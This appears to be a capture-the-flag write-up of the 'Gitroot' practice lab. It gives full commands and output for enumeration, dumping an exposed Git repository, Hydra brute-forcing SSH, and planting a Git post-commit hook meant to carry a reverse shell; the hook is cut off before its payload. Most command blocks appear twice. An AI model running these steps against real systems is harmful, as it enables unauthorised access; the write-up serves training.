August 27, 2026
Gitroot walkthrough /writeup | proving Ground | Oscp Prep
Lab Description

By Cybersecurity writeup's
11 min read
Lab Description
In this lab, you will exploit a leaked Git repository to uncover sensitive credentials and brute-force SSH access. Privilege escalation involves leveraging Git hooks like post-commit for user switching and abusing misconfigured sudo permissions on the /usr/bin/git binary to escalate to root.
Information Gathering
Nmap
I started the assessment by performing a full TCP port scan with service-version detection and default scripts:
nmap -sV -Pn 192.168.198.75 -p- -A --open --min-rate 3000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 19:41 +0530
Nmap scan report for 192.168.198.75
Host is up (0.12s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 bf:45:f6:b3:e3:ce:0c:69:18:5a:5b:27:e5:d3:9c:86 (RSA)
| 256 b5:d7:45:50:06:c4:e2:3c:28:52:b8:06:26:1f:de:b0 (ECDSA)
|_ 256 27:f0:d0:21:13:30:9c:5e:f0:70:a1:d8:5c:a7:8f:75 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Hey Jen
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp open memcache?
| fingerprint-strings:
| RPCCheck:
|_ Unknown command
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.99%I=7%D=8/23%Time=6A8AFFC4%P=x86_64-pc-linux-gnu%r(R
SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk
SF:nown\x20command");
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelnmap -sV -Pn 192.168.198.75 -p- -A --open --min-rate 3000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 19:41 +0530
Nmap scan report for 192.168.198.75
Host is up (0.12s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 bf:45:f6:b3:e3:ce:0c:69:18:5a:5b:27:e5:d3:9c:86 (RSA)
| 256 b5:d7:45:50:06:c4:e2:3c:28:52:b8:06:26:1f:de:b0 (ECDSA)
|_ 256 27:f0:d0:21:13:30:9c:5e:f0:70:a1:d8:5c:a7:8f:75 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Hey Jen
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp open memcache?
| fingerprint-strings:
| RPCCheck:
|_ Unknown command
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.99%I=7%D=8/23%Time=6A8AFFC4%P=x86_64-pc-linux-gnu%r(R
SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk
SF:nown\x20command");
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe scan reveals three accessible services:
- 22/tcp — SSH running OpenSSH 7.9p1
- 80/tcp — HTTP running Apache 2.4.38
- 11211/tcp — Memcached
The HTTP service is particularly interesting because the page title is "Hey Jen", which may provide a clue about a username or the application's intended target.
Web Enumeration
I first added the target hostname to /etc/hosts so that the virtual hosts used by the machine could be resolved locally.
eccho '192.168.198.75 gitroot.vuln' >> /etc/hostseccho '192.168.198.75 gitroot.vuln' >> /etc/hostsI then accessed the web server and performed directory enumeration. The main page did not immediately reveal an obvious attack vector, but it contained an interesting reference to the wp.gitroot.vuln subdomain.
This suggested that the target was using multiple virtual hosts, so I added the discovered hostname to /etc/hosts and continued enumeration against it.
then i start directory scanning on this page
Gobuster:
I ran Gobuster against the WordPress virtual host to identify accessible directories and files.
gobuster dir -u http://wp.gitroot.vuln -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://wp.gitroot.vuln
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 280]
.htpasswd (Status: 403) [Size: 280]
.htaccess (Status: 403) [Size: 280]
index.php (Status: 301) [Size: 1] [--> http://wp.gitroot.vuln/]
javascript (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/javascript/]
manual (Status: 301) [Size: 319] [--> http://wp.gitroot.vuln/manual/]
server-status (Status: 403) [Size: 280]
wp (Status: 403) [Size: 280]
wp-admin (Status: 301) [Size: 321] [--> http://wp.gitroot.vuln/wp-admin/]
wp-content (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/wp-content/]
wp-includes (Status: 301) [Size: 324] [--> http://wp.gitroot.vuln/wp-includes/]
xmlrpc.php (Status: 405) [Size: 43]gobuster dir -u http://wp.gitroot.vuln -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://wp.gitroot.vuln
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 280]
.htpasswd (Status: 403) [Size: 280]
.htaccess (Status: 403) [Size: 280]
index.php (Status: 301) [Size: 1] [--> http://wp.gitroot.vuln/]
javascript (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/javascript/]
manual (Status: 301) [Size: 319] [--> http://wp.gitroot.vuln/manual/]
server-status (Status: 403) [Size: 280]
wp (Status: 403) [Size: 280]
wp-admin (Status: 301) [Size: 321] [--> http://wp.gitroot.vuln/wp-admin/]
wp-content (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/wp-content/]
wp-includes (Status: 301) [Size: 324] [--> http://wp.gitroot.vuln/wp-includes/]
xmlrpc.php (Status: 405) [Size: 43]wpscan:
wpscan --url http://wp.gitroot.vuln/ --enumerate p --enumerate t --enumerate uwpscan --url http://wp.gitroot.vuln/ --enumerate p --enumerate t --enumerate u
Here i found a one username & another useful is nothing , wordpress enumeration did not immediately provide a virable path to exploitation. Since the initial web application did not reveal anything useful, I returned to the virtual-host enumeration.
Virtual Host Enumeration
I used FFUF to identify additional subdomains associated with gitroot.vuln.
FFUF
ffuf -u http://gitroot.vuln \
-H "Host: FUZZ.gitroot.vuln" \
-w /usr/share/dirb/wordlists/big.txt \
-fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://gitroot.vuln
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Header : Host: FUZZ.gitroot.vuln
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
repo [Status: 200, Size: 438, Words: 46, Lines: 22, Duration: 111ms]
wp [Status: 200, Size: 10697, Words: 465, Lines: 132, Duration: 184ms]ffuf -u http://gitroot.vuln \
-H "Host: FUZZ.gitroot.vuln" \
-w /usr/share/dirb/wordlists/big.txt \
-fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://gitroot.vuln
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Header : Host: FUZZ.gitroot.vuln
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
repo [Status: 200, Size: 438, Words: 46, Lines: 22, Duration: 111ms]
wp [Status: 200, Size: 10697, Words: 465, Lines: 132, Duration: 184ms]The scan identifies another interesting virtual host: repo.gitroot.vuln.
This immediately stands out because the name suggests that it may host a Git repository. I added the subdomain to /etc/hosts and proceeded to enumerate it.
Git Repository Enumeration
I ran Gobuster against the newly discovered virtual host.
gobuster dir -u http://repo.gitroot.vuln -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://repo.gitroot.vuln
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 282]
.git/HEAD (Status: 200) [Size: 23]
.htaccess (Status: 403) [Size: 282]
.htpasswd (Status: 403) [Size: 282]
index.php (Status: 200) [Size: 438]
javascript (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
manual (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]
server-status (Status: 403) [Size: 282]
Progress: 4613 / 4613 (100.00%)gobuster dir -u http://repo.gitroot.vuln -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://repo.gitroot.vuln
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 282]
.git/HEAD (Status: 200) [Size: 23]
.htaccess (Status: 403) [Size: 282]
.htpasswd (Status: 403) [Size: 282]
index.php (Status: 200) [Size: 438]
javascript (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
manual (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]
server-status (Status: 403) [Size: 282]
Progress: 4613 / 4613 (100.00%)The most important discovery is the exposed .git/HEAD file. This indicates that the complete Git metadata may be accessible remotely.
An exposed .git directory can disclose the application's source code, previous commits, deleted files, credentials, and other sensitive information. I therefore proceeded to dump the repository locally.
Extracting the Git Repository
I used GitDumper from the GitTools toolkit to download the exposed .git directory and its associated data to my Kali machine.
GitDumper
┌──(root㉿kali)-[/home/kali/Downloads/tools/GitTools]
└─# ls
Dumper Extractor Finder LICENSE.md README.md
./gitdumper.sh http://repo.gitroot.vuln/.git/ /home/kali/Downloads/test┌──(root㉿kali)-[/home/kali/Downloads/tools/GitTools]
└─# ls
Dumper Extractor Finder LICENSE.md README.md
./gitdumper.sh http://repo.gitroot.vuln/.git/ /home/kali/Downloads/testAfter dumping the repository, I used the GitTools Extractor to reconstruct the files and commits contained within the repository history.
extractor.sh
┌──(root㉿kali)-[/home/…/Downloads/tools/GitTools/Extractor]
└─# ./extractor.sh /home/kali/Downloads/test .
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[+] Found commit: b35845fa33144640c092aa3776ab3d59951688c9
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./0-b35845fa33144640c092aa3776ab3d59951688c9/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./0-b35845fa33144640c092aa3776ab3d59951688c9/index.php
[+] Found commit: a4e7f0852ebe819f3aba9419198a74990b6992c0
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/pablo_HELP.txt
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/set.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/stats.php
[+] Found commit: ce3843e497dd28f992250d36ee1b4e8c9e0f18e9
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/set.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/stats.php
[+] Found commit: e4e93b41309b7f2d7adab20bcff048a93f7444c0
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/pablo_HELP.txt
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/set.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/stats.php
[+] Found commit: 9ca43fb2bc47e82b4addbba42f38eacbd6fcb588
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./4-9ca43fb2bc47e82b4addbba42f38eacbd6fcb588/index.php
[+] Found commit: b069fdde4cf12980175c3fbd79316fe42b57e19a
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./5-b069fdde4cf12980175c3fbd79316fe42b57e19a/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./5-b069fdde4cf12980175c3fbd79316fe42b57e19a/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./5-b069fdde4cf12980175c3fbd79316fe42b57e19a/set.php┌──(root㉿kali)-[/home/…/Downloads/tools/GitTools/Extractor]
└─# ./extractor.sh /home/kali/Downloads/test .
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[+] Found commit: b35845fa33144640c092aa3776ab3d59951688c9
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./0-b35845fa33144640c092aa3776ab3d59951688c9/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./0-b35845fa33144640c092aa3776ab3d59951688c9/index.php
[+] Found commit: a4e7f0852ebe819f3aba9419198a74990b6992c0
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/pablo_HELP.txt
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/set.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./1-a4e7f0852ebe819f3aba9419198a74990b6992c0/stats.php
[+] Found commit: ce3843e497dd28f992250d36ee1b4e8c9e0f18e9
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/set.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./2-ce3843e497dd28f992250d36ee1b4e8c9e0f18e9/stats.php
[+] Found commit: e4e93b41309b7f2d7adab20bcff048a93f7444c0
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/pablo_HELP.txt
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/set.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./3-e4e93b41309b7f2d7adab20bcff048a93f7444c0/stats.php
[+] Found commit: 9ca43fb2bc47e82b4addbba42f38eacbd6fcb588
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./4-9ca43fb2bc47e82b4addbba42f38eacbd6fcb588/index.php
[+] Found commit: b069fdde4cf12980175c3fbd79316fe42b57e19a
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./5-b069fdde4cf12980175c3fbd79316fe42b57e19a/get.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./5-b069fdde4cf12980175c3fbd79316fe42b57e19a/index.php
[+] Found file: /home/kali/Downloads/tools/GitTools/Extractor/./5-b069fdde4cf12980175c3fbd79316fe42b57e19a/set.phpThe extractor recovered multiple commits and files, including set.php, get.php, stats.php, and pablo_HELP.txt.
I also inspected the Git commit metadata to understand what changes had been made.
cat COMMIT_EDITMSG
added some important stuff
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# On branch master
# Changes to be committed:
# new file: 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
#
# Changes not staged for commit:
# modified: get.php
# deleted: pablo_HELP.txt
# modified: set.php
# modified: stats.php
#
# Untracked files:
# codeBackground.jpg
#cat COMMIT_EDITMSG
added some important stuff
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# On branch master
# Changes to be committed:
# new file: 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
#
# Changes not staged for commit:
# modified: get.php
# deleted: pablo_HELP.txt
# modified: set.php
# modified: stats.php
#
# Untracked files:
# codeBackground.jpg
#The commit message itself did not reveal anything particularly useful, so I continued examining the recovered PHP source files.
Here i found three username's add to users.txt
While inspecting the files, I found hardcoded credentials in set.php.
SSH Brute Force
The recovered repository provided usernames and a potential password, but the credentials were not immediately useful for direct authentication. Since the usernames were now known, I used Hydra to perform a password brute-force attack against the SSH service.
Hydra
hydra -L Users.txt -P /usr/share/wordlists/rockyou.txt gitroot.vuln ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-23 20:31:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://gitroot.vuln:22/
[STATUS] 255.00 tries/min, 255 tries in 00:01h, 14344144 to do in 937:32h, 16 active
[STATUS] 256.67 tries/min, 770 tries in 00:03h, 14343629 to do in 931:25h, 16 active
[STATUS] 241.29 tries/min, 1689 tries in 00:07h, 14342710 to do in 990:43h, 16 active
[22][ssh] host: gitroot.vuln login: pablo password: pablo
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-23 20:39:34hydra -L Users.txt -P /usr/share/wordlists/rockyou.txt gitroot.vuln ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-23 20:31:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://gitroot.vuln:22/
[STATUS] 255.00 tries/min, 255 tries in 00:01h, 14344144 to do in 937:32h, 16 active
[STATUS] 256.67 tries/min, 770 tries in 00:03h, 14343629 to do in 931:25h, 16 active
[STATUS] 241.29 tries/min, 1689 tries in 00:07h, 14342710 to do in 990:43h, 16 active
[22][ssh] host: gitroot.vuln login: pablo password: pablo
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-23 20:39:34Hydra successfully discovered valid SSH credentials for the pablo account.
I then authenticated to the target using SSH.
SSH
ssh pablo@gitroot.vuln
...
pablo@GitRoot:~$ ls
local.txt public user.txt
pablo@GitRoot:~$ cat local.txt
e5e70baa4e72a694001570b86db10d01ssh pablo@gitroot.vuln
...
pablo@GitRoot:~$ ls
local.txt public user.txt
pablo@GitRoot:~$ cat local.txt
e5e70baa4e72a694001570b86db10d01We now have an authenticated foothold as pablo. I collected the available proof files and continued with local enumeration to identify a path toward privilege escalation.
Local Enumeration
I inspected the contents of Pablo's home directory and noticed an unusual public directory with permissions that allow other users to write to it.
pablo@GitRoot:~$ ls -la
total 36
drwxr-xr-x 4 pablo pablo 4096 Aug 21 2020 .
drwxr-xr-x 5 root root 4096 May 26 2020 ..
lrwxrwxrwx 1 pablo pablo 9 May 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 pablo pablo 220 May 25 2020 .bash_logout
-rw-r--r-- 1 pablo pablo 3526 May 25 2020 .bashrc
drwx------ 3 pablo pablo 4096 May 25 2020 .gnupg
-rw-r--r-- 1 pablo pablo 33 Aug 23 10:06 local.txt
-rw-r--r-- 1 pablo pablo 807 May 25 2020 .profile
drwx-wx-wx 2 pablo pablo 4096 May 25 2020 public
-rw-r--r-- 1 root root 32 Aug 21 2020 user.txt
pablo@GitRoot:~$ cat .bash_history
pablo@GitRoot:~$ cd public
pablo@GitRoot:~/public$ ls -la
total 12
drwx-wx-wx 2 pablo pablo 4096 May 25 2020 .
drwxr-xr-x 4 pablo pablo 4096 Aug 21 2020 ..
-rw-r--r-- 1 beth beth 58 May 25 2020 message.txt
pablo@GitRoot:~/public$ cat message.txt
Hey pablo
Make sure to check-out our brand new git repo!pablo@GitRoot:~$ ls -la
total 36
drwxr-xr-x 4 pablo pablo 4096 Aug 21 2020 .
drwxr-xr-x 5 root root 4096 May 26 2020 ..
lrwxrwxrwx 1 pablo pablo 9 May 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 pablo pablo 220 May 25 2020 .bash_logout
-rw-r--r-- 1 pablo pablo 3526 May 25 2020 .bashrc
drwx------ 3 pablo pablo 4096 May 25 2020 .gnupg
-rw-r--r-- 1 pablo pablo 33 Aug 23 10:06 local.txt
-rw-r--r-- 1 pablo pablo 807 May 25 2020 .profile
drwx-wx-wx 2 pablo pablo 4096 May 25 2020 public
-rw-r--r-- 1 root root 32 Aug 21 2020 user.txt
pablo@GitRoot:~$ cat .bash_history
pablo@GitRoot:~$ cd public
pablo@GitRoot:~/public$ ls -la
total 12
drwx-wx-wx 2 pablo pablo 4096 May 25 2020 .
drwxr-xr-x 4 pablo pablo 4096 Aug 21 2020 ..
-rw-r--r-- 1 beth beth 58 May 25 2020 message.txt
pablo@GitRoot:~/public$ cat message.txt
Hey pablo
Make sure to check-out our brand new git repo!Finding Beth's Git Repository
I ran LinPEAS, which identified a Git repository owned by beth.
LinPEAS
This provided an important lead, so I navigated to the discovered repository under /opt/auth.
pablo@GitRoot:/var/www/html$ cd /opt/auth
pablo@GitRoot:/opt/auth$ ls -la
total 16
drwxr-xr-x 3 beth beth 4096 May 26 2020 .
drwxr-xr-x 3 root root 4096 May 25 2020 ..
drwxr-xr-x 8 beth beth 4096 May 26 2020 .git
-rw-r--r-- 1 beth beth 394 May 26 2020 main.cpablo@GitRoot:/var/www/html$ cd /opt/auth
pablo@GitRoot:/opt/auth$ ls -la
total 16
drwxr-xr-x 3 beth beth 4096 May 26 2020 .
drwxr-xr-x 3 root root 4096 May 25 2020 ..
drwxr-xr-x 8 beth beth 4096 May 26 2020 .git
-rw-r--r-- 1 beth beth 394 May 26 2020 main.c
During the enumeration found a new added some stuff, I found information that allowed me to switch to the beth account.
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ su beth
Password:
beth@GitRoot:/opt/auth/.git/logs/refs/heads$pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ su beth
Password:
beth@GitRoot:/opt/auth/.git/logs/refs/heads$Privilege Escalation to Beth
After switching to beth, I inspected the contents of her home directory and the publicly accessible files.
beth@GitRoot:~$ ls -la
total 24
drwxr-xr-x 4 beth beth 4096 Aug 21 2020 .
drwxr-xr-x 5 root root 4096 May 26 2020 ..
lrwxrwxrwx 1 beth beth 9 May 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 beth beth 0 May 25 2020 .bash_logout
-rw-r--r-- 1 beth beth 3526 May 26 2020 .bashrc
drwx------ 3 beth beth 4096 May 26 2020 .gnupg
-rw-r--r-- 1 beth beth 807 May 26 2020 .profile
drwx-wx-wx 2 beth beth 4096 May 26 2020 public
beth@GitRoot:~$ cd public
beth@GitRoot:~/public$ ls -la
total 12
drwx-wx-wx 2 beth beth 4096 May 26 2020 .
drwxr-xr-x 4 beth beth 4096 Aug 21 2020 ..
-rw-r--r-- 1 jen jen 151 May 26 2020 addToMyRepo.txt
beth@GitRoot:~/public$ cat addToMyRepo.txt
Hello Beth
If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository
Thanks!beth@GitRoot:~$ ls -la
total 24
drwxr-xr-x 4 beth beth 4096 Aug 21 2020 .
drwxr-xr-x 5 root root 4096 May 26 2020 ..
lrwxrwxrwx 1 beth beth 9 May 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 beth beth 0 May 25 2020 .bash_logout
-rw-r--r-- 1 beth beth 3526 May 26 2020 .bashrc
drwx------ 3 beth beth 4096 May 26 2020 .gnupg
-rw-r--r-- 1 beth beth 807 May 26 2020 .profile
drwx-wx-wx 2 beth beth 4096 May 26 2020 public
beth@GitRoot:~$ cd public
beth@GitRoot:~/public$ ls -la
total 12
drwx-wx-wx 2 beth beth 4096 May 26 2020 .
drwxr-xr-x 4 beth beth 4096 Aug 21 2020 ..
-rw-r--r-- 1 jen jen 151 May 26 2020 addToMyRepo.txt
beth@GitRoot:~/public$ cat addToMyRepo.txt
Hello Beth
If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository
Thanks!This message is particularly interesting. The user jen has instructed beth to place a ZIP archive inside ~jen/public/repos/. The message also states that Jen will automatically extract the archive and add its contents to the repository.
This creates an opportunity to abuse the Git repository's hook mechanism. If we can place a malicious Git repository inside the specified ZIP archive, we may be able to trigger code execution when Jen performs a Git operation.
Abusing Git Hooks
I created a new .git directory and a hooks directory under Beth's home directory. I then created a post-commit hook containing a reverse-shell payload.
beth@GitRoot:~$ mkdir .git
beth@GitRoot:~$ cd .git
beth@GitRoot:~/.git$ mkdir hooks
beth@GitRoot:~/.git/hooks$ nano post-commit
beth@GitRoot:~/.git/hooks$ cat post-commit
#!/bin/sh
